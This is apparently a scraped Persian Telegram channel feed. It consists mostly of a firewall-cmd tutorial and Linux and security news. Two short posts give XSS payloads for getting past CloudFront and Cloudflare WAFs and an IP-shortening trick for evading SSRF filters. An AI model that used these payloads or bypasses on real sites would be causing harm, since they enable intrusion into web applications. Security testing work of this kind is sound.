🔥Secure your linux Network with firewall-cmd
شبکه لینوکس خود را ایمن کنید با firewall-cmd
@uselinux
فایروال ها از قسمت های اساسی امنیت شبکه محسوب میشوند و برای سیس ادمین ها لازم است که کار با آن را بدانند
@uselinux
پورت ها :
پورت ها شاهراه های ارتباطی برای دیتا تایپ های مختلف است (هنوز کسی نمیدونه چرا اسمشو گذاشتن پورت:D)
یک سری پورت های عمومی و رایج( بیشتر convention هست) :
پورت 80 ترافیک http
پورت 443 ترافیک https
پورت 21 برای پروتکل FTP
پورت 22 برای SSH
@uselinux
و اما اینترفیس firewall-cmd
ممکن است شما در اکوسیستم - سرور ها - مودم فایروال استفاده کنید
و همچنین فایروال های گوناگون . کانفیگ های گوناگونی دارند
@uselinux
این پست درباره firewall-cmd است که در بیشتر توزیع های لینوکسی یافت میشود
((روی اوبونتو اکثرا نیست . میتونید با دستور:
@uselinux
دستور firewall-cmd یک ابزار فرانتی برای منیج کردن firewalld هست .. که یک اینترفیس بر روی netfilter کرنل لینوکس هست.
@uselinux
قبل از اکتیو کردن فایروال - firewall-cmd هیچ کنترلی بر روی هیچ چیز ندارد . پس ابتدا برای اکتیو کردن :
این دستور فایروال رو اکتیو میکند و در حالت auto-load در هربار ریبوت سیستم قرار میدهد(همون deamon تو systemd)
💥تقریبا همه چیز را بلاک کنید!
@uselinux
در استفاده از فایروال ها ابتدا همه چیز را ببندید و بعد صرفا پورت هایی ک نیاز دارید رو باز کنید
(پورت 53 رو حتما باز بزارید اگه DNS دارید)
@uselinux
بالاتر لیست پورت های دیفالت پروتکل های مهم رو لیست کردیم . (بهتره از پورت دیفالت تغییرشون بدید. مثل SSH)
ا firewall-cmd از zone استفاده میکنه برای منیج .. که به حد زیادی تو وقت و اعصاب :D شما صرفه جویی میکنه برای کانفیگ
@uselinux
برای اینکه zone های سیستم رو ببینیم:
ایجاد zone جدید:
تو دستور بالا من zoneای به اسم uselinux ساختم
فلگ
الان zone شما اکتیو هست
قبل از هرکاری اول ssh رو به زون خودتون اضافه کنید تا بتونید ریموت اکسس رو داشته باشید :)
@uselinux
بصورت دیفالت به هیچ اینترفیس نت ورکی متصل نیست
برای تغییر اینترفیس نت ورک :
برای انجام اینکار:
@uselinux
افزودن و حذف سرویس ها به فایروال:
برای دیدن سرویس های تعریف شده دستور زیر :
"نصب روی رو ردهت"
حالا کانکشن از بیرون:
همونطور ک میبینید کانکشن fail شد .
برای اینکه ترافیک HTTP رو مجوز عبور از فایروال بدید بصورت عمل میکنید:
ادامه 👇🏻👇🏻👇🏻👇🏻
شبکه لینوکس خود را ایمن کنید با firewall-cmd
@uselinux
فایروال ها از قسمت های اساسی امنیت شبکه محسوب میشوند و برای سیس ادمین ها لازم است که کار با آن را بدانند
@uselinux
پورت ها :
پورت ها شاهراه های ارتباطی برای دیتا تایپ های مختلف است (هنوز کسی نمیدونه چرا اسمشو گذاشتن پورت:D)
یک سری پورت های عمومی و رایج( بیشتر convention هست) :
پورت 80 ترافیک http
پورت 443 ترافیک https
پورت 21 برای پروتکل FTP
پورت 22 برای SSH
@uselinux
و اما اینترفیس firewall-cmd
ممکن است شما در اکوسیستم - سرور ها - مودم فایروال استفاده کنید
و همچنین فایروال های گوناگون . کانفیگ های گوناگونی دارند
@uselinux
این پست درباره firewall-cmd است که در بیشتر توزیع های لینوکسی یافت میشود
((روی اوبونتو اکثرا نیست . میتونید با دستور:
apt install firewalld
نصب کنید))@uselinux
دستور firewall-cmd یک ابزار فرانتی برای منیج کردن firewalld هست .. که یک اینترفیس بر روی netfilter کرنل لینوکس هست.
@uselinux
قبل از اکتیو کردن فایروال - firewall-cmd هیچ کنترلی بر روی هیچ چیز ندارد . پس ابتدا برای اکتیو کردن :
sudo systemctl enable --now firewalld
@uselinuxاین دستور فایروال رو اکتیو میکند و در حالت auto-load در هربار ریبوت سیستم قرار میدهد(همون deamon تو systemd)
💥تقریبا همه چیز را بلاک کنید!
@uselinux
در استفاده از فایروال ها ابتدا همه چیز را ببندید و بعد صرفا پورت هایی ک نیاز دارید رو باز کنید
(پورت 53 رو حتما باز بزارید اگه DNS دارید)
@uselinux
بالاتر لیست پورت های دیفالت پروتکل های مهم رو لیست کردیم . (بهتره از پورت دیفالت تغییرشون بدید. مثل SSH)
ا firewall-cmd از zone استفاده میکنه برای منیج .. که به حد زیادی تو وقت و اعصاب :D شما صرفه جویی میکنه برای کانفیگ
@uselinux
برای اینکه zone های سیستم رو ببینیم:
sudo firewall-cmd --get-zones
برای دیدن چیز هایی ک بلاک نشدن :sudo firewall-cmd --zone work --list-all
یکی از zone های لیست شده رو برای شروع انتخاب کنید . یا یه zone جدید بسازید ایجاد zone جدید:
sudo firewall-cmd --new-zone uselinux --permanent
@uselinuxتو دستور بالا من zoneای به اسم uselinux ساختم
فلگ
--permannet برای persistency هست (روی دیسک ذخیره میشه و موقع ریبوت از بین نمیره)الان zone شما اکتیو هست
قبل از هرکاری اول ssh رو به زون خودتون اضافه کنید تا بتونید ریموت اکسس رو داشته باشید :)
@uselinux
sudo firewall-cmd --zone uselinux --add-service ssh --permanent
الان zone شما فعال و همه چیز بجز ssh رو reject میکنهبصورت دیفالت به هیچ اینترفیس نت ورکی متصل نیست
برای تغییر اینترفیس نت ورک :
firewall-cmd --change-interface ens3 --zone uselinux --permanent
با قرار دادن zone دیفالت به uselinux تمام کامند های آتی به uselinux مربوط خواهند بود مگر با فلگ --zone مشخص کنیم که به کدام zone میخاییم تغییر دهیم . و بسته به هدف و برنامه شما دارد برای انجام اینکار:
@uselinux
sudo firewall-cmd --set-default uselinux
برای مشاهده zone ها و اینترفیس های متصل بهشون :sudo firewall-cmd --get-active-zones``با صحنه ای مشابه زیر:D مواجه میشید:
uselinux@uselinux
interfaces: ens3
work
interfaces: ens4
افزودن و حذف سرویس ها به فایروال:
برای دیدن سرویس های تعریف شده دستور زیر :
sudo firewall-cmd --get-service
فرض کنید میخواهید وب سروری مثل httpd بر روی ردهت یا فدورا (همون apache2 خودمون رو اوبونتو و دبیان) ران کنیم"نصب روی رو ردهت"
sudo dnf install httpdسپس تست میکنیم وب سرور رو:
sudo systemctl --enable --now httpd
curl --silent localhost:80 | grep title
و خروجی:<title>Test Page for the Apache HTTP Server on Red Hat Enterprise Linux</title>
خب کانکشن لوکال برقرار بود |حالا کانکشن از بیرون:
curl --connect-timeout 3 192.168.122.206
خروجی:curl: (28) Connection timed out after 3001 milliseconds
@uselinuxهمونطور ک میبینید کانکشن fail شد .
برای اینکه ترافیک HTTP رو مجوز عبور از فایروال بدید بصورت عمل میکنید:
sudo firewall-cmd --add-service http --permanent
sudo firewall-cmd --reload
دوباره تست میکنیم :curl --silent 192.168.122.206 | grep title
و در نهایت خروجی به شکل زیر :<title>Test Page for the Apache HTTP Server on Red Hat Enterprise Linux</title>
حذف کردن سرویس هم به همین ترتیب انجام میشه :sudo firewall-cmd --remove-service http --permanent
sudo firewall-cmd --reload
@uselinuxادامه 👇🏻👇🏻👇🏻👇🏻
@uselinux
ادامه firewall-cmd💥
گاهی اوقات سرویس ما از قبل ایجاد نشده یا با نوع نت ورک ما مچ نیست . اما میتونیم پورت رو اد کنیم با
و در اخر برای حذف پورت :
منبع:
https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd
ادامه firewall-cmd💥
گاهی اوقات سرویس ما از قبل ایجاد نشده یا با نوع نت ورک ما مچ نیست . اما میتونیم پورت رو اد کنیم با
--add-port
@uselinuxsudo firewall-cmd --add-port 1622/tcp --permanent
sudo firewall-cmd --reload
@uselinuxو در اخر برای حذف پورت :
sudo firewall-cmd --remove-port 1622/tcp --permanent
sudo firewall-cmd --reload
@uselinuxمنبع:
https://www.redhat.com/sysadmin/secure-linux-network-firewall-cmd
Enable Sysadmin
Secure your Linux network with firewall-cmd
Configuring and maintaining a firewall is a vital sysadmin skill, and Linux is no exception. Here's how to manage yours with firewall-cmd.
💥Linux On Azure! surpassed Windows
@uselinux
سال 2017 مارک راسینویچ CTOآژور مایکروسافت گفت یک چهارم اینستنس های مایکروسافت آژور, لینوکس هستن
@uselinux
سال 2018 اسکات گاتری در یک مصاحبه اختصاصی گفت که نصف ماشین های روی آژور لینوکس هستند
@uselinux
و اما امسال! ساشا لیوین (کرنل دولوپر لینوکس در مایکروسافت) گفت که استفاده از لینوکس در کلاود های ما از ویندوز پیشی گرفت!"
@uselinux
منبع :
https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/
@uselinux
سال 2017 مارک راسینویچ CTOآژور مایکروسافت گفت یک چهارم اینستنس های مایکروسافت آژور, لینوکس هستن
@uselinux
سال 2018 اسکات گاتری در یک مصاحبه اختصاصی گفت که نصف ماشین های روی آژور لینوکس هستند
@uselinux
و اما امسال! ساشا لیوین (کرنل دولوپر لینوکس در مایکروسافت) گفت که استفاده از لینوکس در کلاود های ما از ویندوز پیشی گرفت!"
@uselinux
منبع :
https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/
ZDNET
Microsoft developer reveals Linux is now more used on Azure than Windows Server
Linux rules all the clouds now, including Microsoft's own Azure.
⚜GreenTunnel
@UseLinux
ابزار GreenTunnel که با مکانیزمی جالب می تواند ساختار DPI شرکت های ارائه دهنده اینترنت را که برای بلاک کردن ترافیک خاص مورد استفاده قرار می گیرد،دور بزند.
➡️Download From Github
@UseLinux
@UseLinux
ابزار GreenTunnel که با مکانیزمی جالب می تواند ساختار DPI شرکت های ارائه دهنده اینترنت را که برای بلاک کردن ترافیک خاص مورد استفاده قرار می گیرد،دور بزند.
➡️Download From Github
@UseLinux
This media is not supported in your browser
VIEW IN TELEGRAM
دمو از GreenTunnel
چندتا نکته جالب که یادم رفت بگم اینکه شما میتونید با این ابزار هر سایتی رو باز کنید بدون اینکه آیپی شما عوض بشه یا از vpn و پروکسی خاصی استفاده بشه.😊
@UseLinux
چندتا نکته جالب که یادم رفت بگم اینکه شما میتونید با این ابزار هر سایتی رو باز کنید بدون اینکه آیپی شما عوض بشه یا از vpn و پروکسی خاصی استفاده بشه.😊
@UseLinux
💢پیلود جدید xss برای بایپس CloudFront:
<--
💢برای بایپس CloudFlare:
xss'"><iframe srcdoc='%26lt;script>;prompt
@UseLinux
<--
<img%2fsrc%3d onerror%3dalert(document.domain)> --!>💢برای بایپس CloudFlare:
xss'"><iframe srcdoc='%26lt;script>;prompt
${document.domain}%26lt;/script>'>@UseLinux
@UseLinux
#priv8
میدونستید که میشه آیپی آدرس هارو کوتاه کرد؟
این کارو میشه با برداشتن صفرها انجام داد.
اگر هر دو لینک زیر رو توی مرورگرتون جستجو کنید خواهید دید که نتیجه یکسان است.
http://1.0.0.1
http://1.1
جالبه نه؟
با اینکار میشه فیلترهای WAF که مربوط به SSRF و... هستند رو بایپس کرد.
@UseLinux
#priv8
میدونستید که میشه آیپی آدرس هارو کوتاه کرد؟
این کارو میشه با برداشتن صفرها انجام داد.
اگر هر دو لینک زیر رو توی مرورگرتون جستجو کنید خواهید دید که نتیجه یکسان است.
http://1.0.0.1
http://1.1
جالبه نه؟
با اینکار میشه فیلترهای WAF که مربوط به SSRF و... هستند رو بایپس کرد.
@UseLinux
باگی که از instagram کشف شد اجازه دسترسی به هر حسابی رو فراهم میکرد.
فیلم از یوتیوب:
https://youtu.be/4O9FjTMlHUM
مطالعه بیشتر:
https://thezerohack.com/hack-any-instagram
جایزه این باگ 30,000$ بود.
🆔@UseLinux
فیلم از یوتیوب:
https://youtu.be/4O9FjTMlHUM
مطالعه بیشتر:
https://thezerohack.com/hack-any-instagram
جایزه این باگ 30,000$ بود.
🆔@UseLinux
YouTube
How I Could Have Hacked Any Instagram Account | Proof of Concept
This article is about how I found a vulnerability on Instagram that allowed me to hack any Instagram account without consent permission. Facebook and Instagram security team fixed the issue and rewarded me $30000 as a part of their bounty program.
http…
http…
طبق گزارش شرکتSymantec هکرها امکان دسترسی و تغییر در فایل های منتقل شده توسط پیام رسان های واتساپ و تلگرام را دارند.
اطلاعات بیشتر:
https://symc.ly/2JCiWmJ
🆔@UseLinux
اطلاعات بیشتر:
https://symc.ly/2JCiWmJ
🆔@UseLinux
🔱 lain
مایکروسافت fuzzer framework جدید خود را که lain نام دارد رونمایی کرد.
این ابزار با زبان Rust نوشته شده است.
🔰Github:
https://github.com/microsoft/lain
🆔@UseLinux
مایکروسافت fuzzer framework جدید خود را که lain نام دارد رونمایی کرد.
این ابزار با زبان Rust نوشته شده است.
🔰Github:
https://github.com/microsoft/lain
🆔@UseLinux
در نسخه جدید Burp Suite v2.1.01
Websockets
اضافه شده میتونید آخرین نسخه رو از لینک زیر دانلود کنید.
https://bit.ly/32sRU8z
منبع:
https://bit.ly/2xMVvA3
🆔@UseLinux
Websockets
اضافه شده میتونید آخرین نسخه رو از لینک زیر دانلود کنید.
https://bit.ly/32sRU8z
منبع:
https://bit.ly/2xMVvA3
🆔@UseLinux
💢باگ Buffer overflow در برنامه busybox:
busybox/scripts/kconfig/gconf.c
منبع:
https://t.co/wsPsuVLPXj
🆔@UseLinux
busybox/scripts/kconfig/gconf.c
منبع:
https://t.co/wsPsuVLPXj
🆔@UseLinux